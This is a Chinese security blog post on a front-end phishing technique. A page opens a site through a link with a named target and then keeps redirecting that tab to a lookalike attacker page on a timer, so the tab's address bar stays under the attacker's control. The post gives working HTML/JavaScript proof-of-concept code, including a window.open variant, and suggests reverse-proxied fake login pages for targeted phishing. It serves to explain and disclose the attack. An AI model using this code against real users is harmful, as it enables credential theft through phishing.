前端黑魔法之远程控制地址栏-安全小百科

前端黑魔法之远程控制地址栏

由于今天看到一篇文章《危险的 target=”_blank” 与 “opener”》，里面提到了一个老知识点，就是target=”_blank”的时候，新打开的页面可以通过window.opener来控制源页面的URL，进行钓鱼攻击。这个攻击手法我在博客《神奇的opener对象》中也说过，这里就不再赘述了。这篇文章抛出另一种与target有关的钓鱼攻击。

0x01 效果演示

首先可以看一个小例子：

http://675ba661.w1n.pw/41593a

见上图，打开上述链接，然后点击“click me”，打开了百度。这时查看地址栏，的的确确是百度，然后我们等待10秒，再次查看地址栏，这个时候已经变成攻击者的网址了；即使此时我们再访问淘宝等页面，只要仍然在这个标签页下，地址栏就仍然会被控制。

0x02 原理说明

上述页面的代码也很简单：

<html>
<head><meta charset="utf-8"></head>
<body>
<a href="https://www.baidu.com" target="baidu" id="baidu" onclick="return start()">click me</a>

<script>
function start() {
    setInterval(function() {
        baidu.href="http://675ba661.w1n.pw/baidu";
        baidu.click();
    }, 10000);
}
</script>
</body>
</html>

如果用户点击了超链接“click me”，这里会启动一个循环定时器，每过10秒钟，将会将超链接的地址更换成一个仿百度的钓鱼网站，并再次点击。（当然，如果是真实攻击的话，最好是做一个真实目标的反代服务器，这个在我另一篇文章《openresty+lua在反向代理服务中的玩法》中也有详细的介绍）

这里，超链接的target属性指定目标URL在哪个页面下打开，就是目标页面的window.name。如果这个a标签的href发生了变化，再次点击链接，页面仍然会在相同的标签页下打开，所以就覆盖了上一次打开的页面。

比如，我们是一个“网址导航”类型的恶意网站，用户在我们网站上打开了百度、淘宝等标签页面，我们将可以根据用户打开的超链接来生成钓鱼页面，伪造这些网站的登录页面，精准地进行钓鱼。我这里就不进行演示了。

0x03 扩展尝试

除了超链接以外，用window.open也可以达到一样的效果：

<html>
<head><meta charset="utf-8"></head>
<body>
<a href="javascript:;" onclick="return start()">click me</a>

<script>
function start() {
    var w = window.open('https://www.baidu.com', 'baidu');
    setInterval(function() {
        w.location = 'http://675ba661.w1n.pw/baidu'
    }, 5000)
}
</script>
</body>
</html>

不过，window.open经常会被广告拦截相关的功能给阻止掉，所以可能效果不如直接用超链接。

那么，继续深入研究。这个现象究竟是否和window.name有关呢？那么是不是我们知道了某个页面的name，即可对其页面的URL进行控制？

我们可以做一个实验。编写A页面（ http://a.675ba661.w1n.pw/A_victim ）：

<html>
<head><meta charset="utf-8"></head>
<body>
<p>Hello world.</p>
<script>
window.name = 'baidu';
</script>
</body>
</html>

编写B页面（ http://b.675ba661.w1n.pw/B_attacker ）：

<html>
<head><meta charset="utf-8"></head>
<body>
<a href="https://www.baidu.com" target="baidu" id="baidu">click me</a>
</body>
</html>

A页面是目标网站，其中设置自己的name是baidu；B是攻击者的页面，其中设置target="baidu"。

显然，我们在B中点击“click me”以后，会打开一个新的页面，而不是修改A页面的URL。这个实验说明，URL的远程控制和window.name没有直接关系，而是和页面的父子关系有关。

0x04 总结

本文所描述的攻击方式和opener的攻击方式比较相似，都是在不能跨域的情况下，控制目标标签页的URL，进而进行钓鱼攻击。

但我觉得这个攻击持久型更佳，因为即使用户在新标签中输入自己的域名，或者又通过超链接点击到其他网站里，这个页面的地址栏永远是受到源页面的控制的。理论上在源页面不关闭的情况下，可以永久控制新页面的地址栏。

相关推荐: 深入理解 JavaScript Prototype 污染攻击

本来是想发在代码审计知识星球里的一篇科普文章，因为最近知识星球似乎在和神秘组织对接，无法发表内容，所以发在博客里。Code-Breaking官方writeup拖了很久，主要是没时间，不过外面已经有很多同学的writeup了，所以问题不大。 JavaScript…

文章版权归作者所有，未经允许请勿转载。

THE END